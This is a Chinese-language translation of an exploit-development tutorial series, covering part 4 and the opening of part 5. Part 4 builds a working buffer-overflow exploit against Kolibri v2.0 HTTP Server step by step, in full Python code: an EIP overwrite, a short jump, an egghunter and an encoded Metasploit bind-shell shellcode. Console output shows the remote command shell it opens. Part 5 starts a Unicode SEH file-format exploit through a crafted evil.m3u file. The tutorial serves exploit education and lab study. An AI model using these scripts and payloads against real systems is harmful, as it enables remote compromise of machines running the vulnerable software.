"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a" +
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" +
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" +
"\x75\x4a\x49\x43\x56\x6b\x31\x49\x5a\x6b\x4f\x46\x6f\x37" +
"\x32\x46\x32\x70\x6a\x44\x42\x42\x78\x5a\x6d\x46\x4e\x77" +
"\x4c\x35\x55\x32\x7a\x71\x64\x7a\x4f\x48\x38\x73\x52\x57" +
"\x43\x30\x33\x62\x46\x4c\x4b\x4a\x5a\x4c\x6f\x62\x55\x6b" +
"\x5a\x6e\x4f\x43\x45\x69\x77\x59\x6f\x78\x67\x41\x41"


以上的背景知识足够, 是时候开始实战了!!!

重现崩溃

针对’Kolibri v2.0 HTTP Server’的利用, 我们把shellcode嵌入到一个HTTP请求. 下面是POC. 实际应用中你可能需要改变EIP; 8080是默认端口.

#!/usr/bin/python
 
import socket
import os
import sys
 
Stage1 = "A"*600
 
buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
 
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()


附加  Kolibri 到 Immunity Debugger调试器并执行这个POC, 下图可以看到我们成功覆写EIP并且ESP指向我们的缓冲区. 注意如果我们发送超长的字符串同样可以覆盖到SHE. 很有方法利用这个漏洞, 我决定使用寻蛋技术.



第一阶段

细心的读者可能注意到POC中缓冲区变量名是Stage1, 更多在随后的Stage2. 先找出EIP和ESP偏移.通常都用metasplot pattern替换原字符串.

root@bt:~/Desktop# cd /pentest/exploits/framework/tools/ 
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 600 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A 
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah 
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5 
Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0A 
o1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar 
6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9 




很好, 重新布置我们的缓冲区. 515字节覆盖到EIP, ESP指向EIP后面的区域.

Stage1 = "A"*515 + [EIP] + BBBBB.....

找一条直接跳转到ESP的指令. 记住不能有坏字符. 看下图, 这有几个选择. 它们属于系统dll模块但这不重要.



选择其中一个指针. 这里我要解释第一阶段的目的：嵌入寻蛋指令. 现在有几个选择, 我们可以把寻蛋指令放置在ESP处. 但为了整洁, 我宁愿将寻蛋指令布置在被覆盖的EIP之前; 要做到这一点，我们将放置一个”短跳”指令,向后跳到我们的缓冲区。这种”短跳”只需要2个字节，所以我们要调整我们的缓冲区如下.






































Pointer: 0x77c35459 : push esp # ret | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5701 (C:\WINDOWS\system32\msvcrt.dll) 
Buffer: Stage1 = "A"*515 + "\x59\x54\xC3\x77" +"B"*2 

现在我们只是把短跳转指令设置为BB, 新的POC如下:

#!/usr/bin/python
 
import socket
import os
import sys
 
#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f                                            #
#-------------------------------------------------------------------------------#
# Stage1:                                                                       #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll                               #
# (2) ESP: jump back 60 bytes in the buffer => ????                             #
#-------------------------------------------------------------------------------#
 
Stage1 = "A"*515 + "\x59\x54\xC3\x77" + "B"*2
 
buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
 
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()


重新打开这个POC, 看到程序中断



完美! 继续F7最终会执行到BB. 是时候设置跳转到寻蛋指令了. 短跳转用EB+跳转的目标距离. 用windows的计算器就可以完成. 观察下面两张图



Short Jump = \xEB



-60 bytes = \xC4

在漏洞利用中其实windows的计算器也很有用. 现在验证我们算的对不对, 新的缓冲区如下:

Stage1 = "A"*515 + "\x59\x54\xC3\x77" +"\xEB\xC4"

运行POC, 下图一断在短跳转指令, F7后，再看下图二, 程序往前跳了60字节, 转到我们的寻蛋指令



第一阶段只剩下设置寻蛋指令了. 你可以使用或修改教程开头的那个寻蛋指令. 但是mona同样可以生产寻蛋指令.

!mona help egg 
!mona egg –t b33f 




上图可以看到寻蛋指令32字节. 下图可以看到寻蛋指令非常靠近EIP和短跳转指令.



#!/usr/bin/python
 
import socket
import os
import sys
 
#Egghunter
#Size 32-bytes
hunter = (
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")
 
#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f                                            #
#-------------------------------------------------------------------------------#
# Stage1:                                                                       #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll                               #
# (2) ESP: jump back 60 bytes in the buffer => \xEB\xC4                         #
# (3) Enough room for egghunter; marker "b33f"                                  #
#-------------------------------------------------------------------------------#
 
Stage1 = "A"*478 + hunter + "A"*5 + "\x59\x54\xC3\x77" + "\xEB\xC4"
 
buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
 
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()


第二阶段

现在只剩下布置蛋(shellcode)了. HTPP请求包含几个字段, 不是所有的字段都有必要设置, 为了方便我把它们叫做字段1,2,3,4,5 让我们看了看设置’User-Agent’为1000字节metasploit模式的字符串时候会发生什么, POC如下:

#!/usr/bin/python
 
import socket
import os
import sys
 
#Egghunter
#Size 32-bytes
hunter = (
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")
 
#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f                                            #
#-------------------------------------------------------------------------------#
# Stage1:                                                                       #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll                               #
# (2) ESP: jump back 60 bytes in the buffer => \xEB\xC4                         #
# (3) Enough room for egghunter; marker "b33f"                                  #
#-------------------------------------------------------------------------------#
 
Stage1 = "A"*478 + hunter + "A"*5 + "\x59\x54\xC3\x77" + "\xEB\xC4"
Stage2 = "Aa0Aa1Aa...0Bh1Bh2B" #1000-bytes
 
buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: " + Stage2 + "\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
 
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()


附加 Kolibri到调试器, 然后在0x77C35459下断. 用!mona搜索metasploit 模式字符串, 试了三次都能搜索到, 事实上我做了一些测试, 我们完全可以注入更大的空间虽然1000字节已经足够大了.



如果在第二部分用蛋(shellcode)而不是metasploi模式的字符串, 寻蛋指令将会搜到内存找到shellcode并执行它, 事实上教程到这里应该可以结束了,

Shellcode+游戏结束

现在剩下两件事:1)布置shellcode 2)生成一个你喜欢的shellcode. 下面是最终的POC, 注意Stage2包含蛋标志’b33f’. 

#!/usr/bin/python
 
import socket
import os
import sys
 
#Egghunter
#Size 32-bytes
hunter = (
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")
 
shellcode = (
)
 
#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f                                            #
#-------------------------------------------------------------------------------#
# Stage1:                                                                       #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll                               #
# (2) ESP: jump back 60 bytes in the buffer => \xEB\xC4                         #
# (3) Enough room for egghunter; marker "b33f"                                  #
#-------------------------------------------------------------------------------#
# Stage2:                                                                       #
# (4) We embed the final stage payload in the HTTP header, which will be put    #
#     somewhere in memory at the time of the initial crash, b00m Game Over!!    #
#-------------------------------------------------------------------------------#
 
Stage1 = "A"*478 + hunter + "A"*5 + "\x59\x54\xC3\x77" + "\xEB\xC4"
Stage2 = "b33fb33f" + shellcode
 
buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: " + Stage2 + "\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
 
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()

生成shellcode
root@bt:~# msfpayload -l
[...snip...]
windows/shell/reverse_tcp_dns    Connect back to the attacker, Spawn a piped command shell (staged)
windows/shell_bind_tcp           Listen for a connection and spawn a command shell
windows/shell_bind_tcp_xpfw      Disable the Windows ICF, then listen for a connection and spawn a 
                                 command shell
[...snip...]

root@bt:~# msfpayload windows/shell_bind_tcp O

       Name: Windows Command Shell, Bind TCP Inline
     Module: payload/windows/shell_bind_tcp
    Version: 8642
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 341
       Rank: Normal

Provided by:
  vlad902 <vlad902@gmail.com>
  sf <stephen_fewer@harmonysecurity.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LPORT     4444             yes       The listen port
RHOST                      no        The target address

Description:
  Listen for a connection and spawn a command shell
  
root@bt:~# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -e x86/alpha_mixed -t c[*] x86/alpha_mixed succeeded with size 744 (iteration=1)

unsigned char buf[] =
"\xdb\xcf\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58"
"\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6c"
"\x4a\x48\x6d\x59\x67\x70\x77\x70\x67\x70\x53\x50\x4d\x59\x4b"
"\x55\x75\x61\x49\x42\x35\x34\x6c\x4b\x52\x72\x70\x30\x6c\x4b"
"\x43\x62\x54\x4c\x4c\x4b\x62\x72\x76\x74\x6c\x4b\x72\x52\x35"
"\x78\x36\x6f\x6e\x57\x42\x6a\x76\x46\x66\x51\x6b\x4f\x50\x31"
"\x69\x50\x6c\x6c\x75\x6c\x35\x31\x53\x4c\x46\x62\x34\x6c\x37"
"\x50\x6f\x31\x58\x4f\x74\x4d\x75\x51\x49\x57\x6d\x32\x4c\x30"
"\x66\x32\x31\x47\x4e\x6b\x46\x32\x54\x50\x4c\x4b\x62\x62\x45"
"\x6c\x63\x31\x68\x50\x4c\x4b\x61\x50\x42\x58\x4b\x35\x39\x50"
"\x33\x44\x61\x5a\x45\x51\x5a\x70\x66\x30\x6c\x4b\x57\x38\x74"
"\x58\x4c\x4b\x50\x58\x57\x50\x66\x61\x58\x53\x78\x63\x35\x6c"
"\x62\x69\x6e\x6b\x45\x64\x6c\x4b\x76\x61\x59\x46\x45\x61\x39"
"\x6f\x70\x31\x39\x50\x6c\x6c\x4f\x31\x48\x4f\x66\x6d\x45\x51"
"\x79\x57\x46\x58\x49\x70\x50\x75\x39\x64\x73\x33\x61\x6d\x59"
"\x68\x77\x4b\x53\x4d\x31\x34\x32\x55\x38\x62\x61\x48\x6c\x4b"
"\x33\x68\x64\x64\x76\x61\x4e\x33\x43\x56\x4c\x4b\x44\x4c\x70"
"\x4b\x6e\x6b\x51\x48\x35\x4c\x43\x31\x4b\x63\x4e\x6b\x55\x54"
"\x6e\x6b\x47\x71\x48\x50\x4c\x49\x31\x54\x45\x74\x36\x44\x43"
"\x6b\x43\x6b\x65\x31\x52\x79\x63\x6a\x72\x71\x39\x6f\x6b\x50"
"\x56\x38\x33\x6f\x50\x5a\x4c\x4b\x36\x72\x38\x6b\x4c\x46\x53"
"\x6d\x42\x48\x47\x43\x55\x62\x63\x30\x35\x50\x51\x78\x61\x67"
"\x43\x43\x77\x42\x31\x4f\x52\x74\x35\x38\x70\x4c\x74\x37\x37"
"\x56\x37\x77\x4b\x4f\x78\x55\x6c\x78\x4c\x50\x67\x71\x67\x70"
"\x75\x50\x64\x69\x49\x54\x36\x34\x36\x30\x35\x38\x71\x39\x6f"
"\x70\x42\x4b\x55\x50\x79\x6f\x4a\x75\x66\x30\x56\x30\x52\x70"
"\x76\x30\x77\x30\x66\x30\x73\x70\x66\x30\x62\x48\x68\x6a\x54"
"\x4f\x4b\x6f\x4b\x50\x79\x6f\x78\x55\x4f\x79\x59\x57\x75\x61"
"\x6b\x6b\x42\x73\x51\x78\x57\x72\x35\x50\x55\x77\x34\x44\x4d"
"\x59\x4d\x36\x33\x5a\x56\x70\x66\x36\x43\x67\x63\x58\x38\x42"
"\x4b\x6b\x64\x77\x50\x67\x39\x6f\x4a\x75\x66\x33\x33\x67\x73"
"\x58\x4f\x47\x4d\x39\x55\x68\x69\x6f\x49\x6f\x5a\x75\x33\x63"
"\x32\x73\x53\x67\x42\x48\x71\x64\x6a\x4c\x47\x4b\x59\x71\x59"
"\x6f\x5a\x75\x30\x57\x4f\x79\x78\x47\x61\x78\x34\x35\x30\x6e"
"\x70\x4d\x63\x51\x39\x6f\x69\x45\x72\x48\x75\x33\x50\x6d\x55"
"\x34\x57\x70\x6f\x79\x5a\x43\x43\x67\x71\x47\x31\x47\x54\x71"
"\x5a\x56\x32\x4a\x52\x32\x50\x59\x66\x36\x58\x62\x39\x6d\x71"
"\x76\x4b\x77\x31\x54\x44\x64\x65\x6c\x77\x71\x37\x71\x4c\x4d"
"\x37\x34\x57\x54\x34\x50\x59\x56\x55\x50\x43\x74\x61\x44\x46"
"\x30\x73\x66\x30\x56\x52\x76\x57\x36\x72\x76\x42\x6e\x46\x36"
"\x66\x36\x42\x73\x50\x56\x65\x38\x42\x59\x7a\x6c\x67\x4f\x4e"
"\x66\x79\x6f\x4a\x75\x4d\x59\x6b\x50\x62\x6e\x76\x36\x42\x66"
"\x4b\x4f\x36\x50\x71\x78\x54\x48\x4c\x47\x75\x4d\x51\x70\x4b"
"\x4f\x48\x55\x6f\x4b\x6c\x30\x78\x35\x6f\x52\x33\x66\x33\x58"
"\x6c\x66\x4f\x65\x6f\x4d\x4f\x6d\x6b\x4f\x7a\x75\x75\x6c\x56"
"\x66\x51\x6c\x65\x5a\x4b\x30\x79\x6b\x69\x70\x51\x65\x77\x75"
"\x6d\x6b\x30\x47\x36\x73\x31\x62\x62\x4f\x32\x4a\x47\x70\x61"
"\x43\x4b\x4f\x4b\x65\x41\x41";


增加一些注释, 最后的POC如下

#!/usr/bin/python
 
#-------------------------------------------------------------------------------#
# Exploit: Kolibri v2.0 HTTP Server HEAD (egghunter)                            #
# Author: b33f (Ruben Boonen) - http://www.fuzzysecurity.com/                   #
# OS: WinXP PRO SP3                                                             #
# Software: http://cdn01.exploit-db.com/wp-content/themes/exploit/applications/ #
#           f248239d09b37400e8269cb1347c240e-BladeAPIMonitor-3.6.9.2.Setup.exe  #
#-------------------------------------------------------------------------------#
# This exploit was created for Part 4 of my Exploit Development tutorial        #
# series - http://www.fuzzysecurity.com/tutorials/expDev/4.html                 #
#-------------------------------------------------------------------------------#
# root@bt:~/Desktop# nc -nv 192.168.111.128 9988                                #
# (UNKNOWN) [192.168.111.128] 9988 (?) open                                     #
# Microsoft Windows XP [Version 5.1.2600]                                       #
# (C) Copyright 1985-2001 Microsoft Corp.                                       #
#                                                                               #
# C:\Documents and Settings\Administrator\Desktop>                              #
#-------------------------------------------------------------------------------#
 
import socket
import os
import sys
 
#Egghunter
#Size 32-bytes
hunter = (
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")
 
#msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -e x86/alpha_mixed -t c
#[*] x86/alpha_mixed succeeded with size 744 (iteration=1)
shellcode = (
"\xdb\xcf\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58"
"\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6c"
"\x4a\x48\x6d\x59\x67\x70\x77\x70\x67\x70\x53\x50\x4d\x59\x4b"
"\x55\x75\x61\x49\x42\x35\x34\x6c\x4b\x52\x72\x70\x30\x6c\x4b"
"\x43\x62\x54\x4c\x4c\x4b\x62\x72\x76\x74\x6c\x4b\x72\x52\x35"
"\x78\x36\x6f\x6e\x57\x42\x6a\x76\x46\x66\x51\x6b\x4f\x50\x31"
"\x69\x50\x6c\x6c\x75\x6c\x35\x31\x53\x4c\x46\x62\x34\x6c\x37"
"\x50\x6f\x31\x58\x4f\x74\x4d\x75\x51\x49\x57\x6d\x32\x4c\x30"
"\x66\x32\x31\x47\x4e\x6b\x46\x32\x54\x50\x4c\x4b\x62\x62\x45"
"\x6c\x63\x31\x68\x50\x4c\x4b\x61\x50\x42\x58\x4b\x35\x39\x50"
"\x33\x44\x61\x5a\x45\x51\x5a\x70\x66\x30\x6c\x4b\x57\x38\x74"
"\x58\x4c\x4b\x50\x58\x57\x50\x66\x61\x58\x53\x78\x63\x35\x6c"
"\x62\x69\x6e\x6b\x45\x64\x6c\x4b\x76\x61\x59\x46\x45\x61\x39"
"\x6f\x70\x31\x39\x50\x6c\x6c\x4f\x31\x48\x4f\x66\x6d\x45\x51"
"\x79\x57\x46\x58\x49\x70\x50\x75\x39\x64\x73\x33\x61\x6d\x59"
"\x68\x77\x4b\x53\x4d\x31\x34\x32\x55\x38\x62\x61\x48\x6c\x4b"
"\x33\x68\x64\x64\x76\x61\x4e\x33\x43\x56\x4c\x4b\x44\x4c\x70"
"\x4b\x6e\x6b\x51\x48\x35\x4c\x43\x31\x4b\x63\x4e\x6b\x55\x54"
"\x6e\x6b\x47\x71\x48\x50\x4c\x49\x31\x54\x45\x74\x36\x44\x43"
"\x6b\x43\x6b\x65\x31\x52\x79\x63\x6a\x72\x71\x39\x6f\x6b\x50"
"\x56\x38\x33\x6f\x50\x5a\x4c\x4b\x36\x72\x38\x6b\x4c\x46\x53"
"\x6d\x42\x48\x47\x43\x55\x62\x63\x30\x35\x50\x51\x78\x61\x67"
"\x43\x43\x77\x42\x31\x4f\x52\x74\x35\x38\x70\x4c\x74\x37\x37"
"\x56\x37\x77\x4b\x4f\x78\x55\x6c\x78\x4c\x50\x67\x71\x67\x70"
"\x75\x50\x64\x69\x49\x54\x36\x34\x36\x30\x35\x38\x71\x39\x6f"
"\x70\x42\x4b\x55\x50\x79\x6f\x4a\x75\x66\x30\x56\x30\x52\x70"
"\x76\x30\x77\x30\x66\x30\x73\x70\x66\x30\x62\x48\x68\x6a\x54"
"\x4f\x4b\x6f\x4b\x50\x79\x6f\x78\x55\x4f\x79\x59\x57\x75\x61"
"\x6b\x6b\x42\x73\x51\x78\x57\x72\x35\x50\x55\x77\x34\x44\x4d"
"\x59\x4d\x36\x33\x5a\x56\x70\x66\x36\x43\x67\x63\x58\x38\x42"
"\x4b\x6b\x64\x77\x50\x67\x39\x6f\x4a\x75\x66\x33\x33\x67\x73"
"\x58\x4f\x47\x4d\x39\x55\x68\x69\x6f\x49\x6f\x5a\x75\x33\x63"
"\x32\x73\x53\x67\x42\x48\x71\x64\x6a\x4c\x47\x4b\x59\x71\x59"
"\x6f\x5a\x75\x30\x57\x4f\x79\x78\x47\x61\x78\x34\x35\x30\x6e"
"\x70\x4d\x63\x51\x39\x6f\x69\x45\x72\x48\x75\x33\x50\x6d\x55"
"\x34\x57\x70\x6f\x79\x5a\x43\x43\x67\x71\x47\x31\x47\x54\x71"
"\x5a\x56\x32\x4a\x52\x32\x50\x59\x66\x36\x58\x62\x39\x6d\x71"
"\x76\x4b\x77\x31\x54\x44\x64\x65\x6c\x77\x71\x37\x71\x4c\x4d"
"\x37\x34\x57\x54\x34\x50\x59\x56\x55\x50\x43\x74\x61\x44\x46"
"\x30\x73\x66\x30\x56\x52\x76\x57\x36\x72\x76\x42\x6e\x46\x36"
"\x66\x36\x42\x73\x50\x56\x65\x38\x42\x59\x7a\x6c\x67\x4f\x4e"
"\x66\x79\x6f\x4a\x75\x4d\x59\x6b\x50\x62\x6e\x76\x36\x42\x66"
"\x4b\x4f\x36\x50\x71\x78\x54\x48\x4c\x47\x75\x4d\x51\x70\x4b"
"\x4f\x48\x55\x6f\x4b\x6c\x30\x78\x35\x6f\x52\x33\x66\x33\x58"
"\x6c\x66\x4f\x65\x6f\x4d\x4f\x6d\x6b\x4f\x7a\x75\x75\x6c\x56"
"\x66\x51\x6c\x65\x5a\x4b\x30\x79\x6b\x69\x70\x51\x65\x77\x75"
"\x6d\x6b\x30\x47\x36\x73\x31\x62\x62\x4f\x32\x4a\x47\x70\x61"
"\x43\x4b\x4f\x4b\x65\x41\x41")
 
#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f                                            #
#-------------------------------------------------------------------------------#
# Stage1:                                                                       #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll                               #
# (2) ESP: jump back 60 bytes in the buffer => \xEB\xC4                         #
# (3) Enough room for egghunter; marker "b33f"                                  #
#-------------------------------------------------------------------------------#
# Stage2:                                                                       #
# (*) For reliability we use the x86/alpha_mixed encoder (we have as much space #
#     as we could want), possibly this region of memory has a different set of  #
#     badcharacters.                                                            #
# (4) We embed the final stage payload in the HTTP header, which will be put    #
#     somewhere in memory at the time of the initial crash, b00m Game Over!!    #
#-------------------------------------------------------------------------------#
 
Stage1 = "A"*478 + hunter + "A"*5 + "\x59\x54\xC3\x77" + "\xEB\xC4"
Stage2 = "b33fb33f" + shellcode
 
buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: " + Stage2 + "\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
 
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()




root@bt:~/Desktop# nc -nv 192.168.111.128 9988
(UNKNOWN) [192.168.111.128] 9988 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.111.128
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 

C:\Documents and Settings\Administrator\Desktop>









第五部分：Unicode 0x00410041

前言

欢迎来到漏洞利用系列教程第五部分. 注意到前面的难度逐渐递增并且都是建立在彼此的基础上的. 这部分有点不一样, 是时候提高游戏难度, 杀死unicode这个怪物！这部分教给你两个宝贵的经验:

(1)生活给你柠檬油漆涂过的屎黄金 

(2)更加努力 

我将用"Triologic Media Player 8"演示unicode的漏洞利用. 这里有写好的EXP:这里

这部分漏洞利用与坏字符无关

漏洞利用环境：Backtrack 5

调试机器：Windows XP PRO SP3

漏洞软件：下载

Unicode介绍

理解什么是unicode很重要. 假设有一个程序接受用户的输入, 如果用户是比利时或美国字符编码可能不会有什么影响, 因为我们(通常)使用同样的字符集. 然而, 如果用户用的是阿拉伯或中文字符集会怎么样呢? 显然它们不能用ASCII转换成相应语言. 如果软件开发者希望开发国际化的产品, 不免要面对unicode. 基本上unicode用一致方式直观表示大多数的字符集(ASCII 7位表示unicode 16位表示). Unicode字符代码：这里

我们猜想unicode类似于使用有限字符集(更多的在后面). 当我们利用这类型的漏洞是, 传进去的字符会被传化为unicode. 一般上仅仅在原始字节的前面追加0x00. 看这面这个例子：

ASCII:
A  ==> 0x41

Unicode:
A  ==> 0x0041

2-bytes:
AB ==> 0x4142     (ASCII)
AB ==> 0x00410042 (Unicode)


显然这是一个大问题, 像之前我们用于覆盖EIP的地址都会被转化为unicode. 更别提Shellcode了(=头痛). 因此很长一段时间内人们普遍认为uniocde的漏洞不能利用. 然而, 2002 Chris的一篇文章证明这是错的. 为了细致的分析unicode漏洞利用原理我推荐你看Phrack在2003年发的这篇文章. 大概对unicode利用最显著的贡献是SkyLined发布的编码器(alpha2), 他可以生成兼容unicode的Shellcode. 更多细节在后面.

上面的介绍会使我们的漏洞利用更清晰. 再次说明这篇教程不会覆盖所有的系列, 你还需要做更多的研究. 好吧, 开始我们的旅途！

重现崩溃

是时候崩溃了 "Triologic Media Player 8". 这将是另一个文件格式的漏洞. 下面是POC和崩溃的截图, 你只需载入evil.m3u并点”List”按钮, 直接拖拽打开 "Triologic Media Player 8"不会崩溃.

#!/usr/bin/python -w
 
filename="evil.m3u"
 
buffer = "A"*5000
 
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()




没有什么新的东西, 附加"Triologic Media Player 8"到immunity debugger调试器并打开evil.m3u. 程序崩溃. 有几件事情需要注意:

(1)几个CPU寄存器指向我们的缓冲区, 从崩溃现场看到传入的字符都被转化为unicode 

(2)内存窗口是其中一个寄存器的转储(..00410041..) 

(3)SEH链同样被unicode字符覆盖



Nseh&SEH

这部分我们要处理SEH和unicode, 很多unicode的漏洞都是基于SEH利用的. 像往常一样用metsaploit模式字符串替换

root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 5000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5
[...snip...]


需要提及的是, 至少在我的机器, 当我用!mona 搜索metasploit模式字符串被卡住了(一直Searching…). 幸运的是这发生在我们得到结果后. 你可以看到下面的截图(不完全)分析.



从上图可以看到SEH被两个字节(记住传入2字节会转化为4字节的uniocde)覆写, 536字节覆盖到SEH. 因此新的缓冲区像下面这样：

buffer = "\x90"*536 + [SEH] + "B"*4464 
buffer = "\x90"*534 + [nSEH] + [SEH] + "B"*4464


由于某种原因上面上面的偏移不准确(可能是immunity在分析的时候卡住了). 经过一会测试我发现差两个字节, 正确的布局应该是下面这样：

buffer = "\x90"*536 + [nSEH] + [SEH] + "B"*4462 
